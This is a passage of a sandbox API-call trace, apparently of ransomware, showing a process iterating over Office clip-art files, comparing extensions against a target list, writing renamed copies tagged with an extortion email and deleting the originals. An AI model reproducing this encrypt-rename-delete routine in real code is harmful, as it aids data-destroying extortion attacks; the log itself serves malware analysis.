(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.652] lstrlenW (lpString=".1cd") returned 4 [0151.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.652] lstrlenW (lpString=".jpg") returned 4 [0151.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.652] lstrlenW (lpString=".doc") returned 4 [0151.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.652] lstrlenW (lpString=".docx") returned 5 [0151.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.652] lstrlenW (lpString=".pdf") returned 4 [0151.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.652] lstrlenW (lpString=".xls") returned 4 [0151.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.652] lstrlenW (lpString=".xlsx") returned 5 [0151.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.652] lstrlenW (lpString=".ppt") returned 4 [0151.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.653] lstrlenW (lpString=".zip") returned 4 [0151.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.653] lstrlenW (lpString=".rar") returned 4 [0151.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.653] lstrlenW (lpString=".bz2") returned 4 [0151.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.653] lstrlenW (lpString=".7z") returned 3 [0151.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.653] lstrlenW (lpString=".dbf") returned 4 [0151.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.653] lstrlenW (lpString=".1cd") returned 4 [0151.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.653] lstrlenW (lpString=".jpg") returned 4 [0151.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.653] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.653] lstrlenW (lpString="AN04206_.WMF") returned 12 [0151.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.654] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=7668) returned 1 [0151.654] CloseHandle (hObject=0x10d8) returned 1 [0151.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0151.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.654] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.654] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0151.655] GetLastError () returned 0x0 [0151.655] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1df4, lpOverlapped=0x0) returned 1 [0151.718] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1e00, lpOverlapped=0x0) returned 1 [0151.720] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.720] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.720] SetEndOfFile (hFile=0x10a8) returned 1 [0151.720] CloseHandle (hObject=0x10a8) returned 1 [0152.287] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.287] SetEndOfFile (hFile=0x10d8) returned 1 [0152.288] CloseHandle (hObject=0x10d8) returned 1 [0152.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0152.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.289] lstrlenW (lpString=".doc") returned 4 [0152.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.289] lstrlenW (lpString=".docx") returned 5 [0152.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.289] lstrlenW (lpString=".pdf") returned 4 [0152.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.289] lstrlenW (lpString=".xls") returned 4 [0152.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.289] lstrlenW (lpString=".xlsx") returned 5 [0152.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.289] lstrlenW (lpString=".ppt") returned 4 [0152.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.289] lstrlenW (lpString=".zip") returned 4 [0152.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.289] lstrlenW (lpString=".rar") returned 4 [0152.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString=".bz2") returned 4 [0152.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString=".7z") returned 3 [0152.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.290] lstrlenW (lpString=".dbf") returned 4 [0152.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.290] lstrlenW (lpString=".1cd") returned 4 [0152.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.290] lstrlenW (lpString=".jpg") returned 4 [0152.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.290] lstrlenW (lpString=".doc") returned 4 [0152.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString=".docx") returned 5 [0152.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.290] lstrlenW (lpString=".pdf") returned 4 [0152.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString=".xls") returned 4 [0152.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.290] lstrlenW (lpString=".xlsx") returned 5 [0152.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.290] lstrlenW (lpString=".ppt") returned 4 [0152.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.291] lstrlenW (lpString=".zip") returned 4 [0152.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.291] lstrlenW (lpString=".rar") returned 4 [0152.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.291] lstrlenW (lpString=".bz2") returned 4 [0152.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.291] lstrlenW (lpString=".7z") returned 3 [0152.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.291] lstrlenW (lpString=".dbf") returned 4 [0152.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.291] lstrlenW (lpString=".1cd") returned 4 [0152.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0152.291] lstrlenW (lpString=".jpg") returned 4 [0152.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.291] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.291] lstrlenW (lpString="AN04326_.WMF") returned 12 [0152.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.292] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=3348) returned 1 [0152.292] CloseHandle (hObject=0x10d8) returned 1 [0152.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0152.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.292] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.292] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0152.293] GetLastError () returned 0x0 [0152.293] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xd14, lpOverlapped=0x0) returned 1 [0152.321] WriteFile (in: hFile=0x10e4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xd20, lpOverlapped=0x0) returned 1 [0152.323] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.323] WriteFile (in: hFile=0x10e4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.323] SetEndOfFile (hFile=0x10e4) returned 1 [0152.323] CloseHandle (hObject=0x10e4) returned 1 [0152.325] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.325] SetEndOfFile (hFile=0x10d8) returned 1 [0152.326] CloseHandle (hObject=0x10d8) returned 1 [0152.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0152.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.327] lstrlenW (lpString=".doc") returned 4 [0152.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.327] lstrlenW (lpString=".docx") returned 5 [0152.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.327] lstrlenW (lpString=".pdf") returned 4 [0152.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.327] lstrlenW (lpString=".xls") returned 4 [0152.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.327] lstrlenW (lpString=".xlsx") returned 5 [0152.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.327] lstrlenW (lpString=".ppt") returned 4 [0152.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.327] lstrlenW (lpString=".zip") returned 4 [0152.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.327] lstrlenW (lpString=".rar") returned 4 [0152.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.327] lstrlenW (lpString=".bz2") returned 4 [0152.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.328] lstrlenW (lpString=".7z") returned 3 [0152.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.328] lstrlenW (lpString=".dbf") returned 4 [0152.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.328] lstrlenW (lpString=".1cd") returned 4 [0152.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.328] lstrlenW (lpString=".jpg") returned 4 [0152.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.328] lstrlenW (lpString=".doc") returned 4 [0152.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.328] lstrlenW (lpString=".docx") returned 5 [0152.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.328] lstrlenW (lpString=".pdf") returned 4 [0152.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.328] lstrlenW (lpString=".xls") returned 4 [0152.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.328] lstrlenW (lpString=".xlsx") returned 5 [0152.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.328] lstrlenW (lpString=".ppt") returned 4 [0152.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.329] lstrlenW (lpString=".zip") returned 4 [0152.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.329] lstrlenW (lpString=".rar") returned 4 [0152.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.329] lstrlenW (lpString=".bz2") returned 4 [0152.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.329] lstrlenW (lpString=".7z") returned 3 [0152.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.329] lstrlenW (lpString=".dbf") returned 4 [0152.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.329] lstrlenW (lpString=".1cd") returned 4 [0152.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0152.329] lstrlenW (lpString=".jpg") returned 4 [0152.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.329] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.329] lstrlenW (lpString="AN04369_.WMF") returned 12 [0152.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.330] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=4808) returned 1 [0152.330] CloseHandle (hObject=0x10d8) returned 1 [0152.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0152.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.331] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.331] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0152.332] GetLastError () returned 0x0 [0152.332] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0152.555] WriteFile (in: hFile=0x10e4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0152.556] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.556] WriteFile (in: hFile=0x10e4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.556] SetEndOfFile (hFile=0x10e4) returned 1 [0152.557] CloseHandle (hObject=0x10e4) returned 1 [0152.560] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.560] SetEndOfFile (hFile=0x10d8) returned 1 [0152.561] CloseHandle (hObject=0x10d8) returned 1 [0152.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0152.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.562] lstrlenW (lpString=".doc") returned 4 [0152.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.562] lstrlenW (lpString=".docx") returned 5 [0152.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.562] lstrlenW (lpString=".pdf") returned 4 [0152.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.562] lstrlenW (lpString=".xls") returned 4 [0152.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.562] lstrlenW (lpString=".xlsx") returned 5 [0152.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.562] lstrlenW (lpString=".ppt") returned 4 [0152.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.562] lstrlenW (lpString=".zip") returned 4 [0152.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.562] lstrlenW (lpString=".rar") returned 4 [0152.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.562] lstrlenW (lpString=".bz2") returned 4 [0152.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.562] lstrlenW (lpString=".7z") returned 3 [0152.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.563] lstrlenW (lpString=".dbf") returned 4 [0152.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0152.563] lstrlenW (lpString=".1cd") returned 4 [0152.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.563] lstrlenW (lpString="C:\\Program 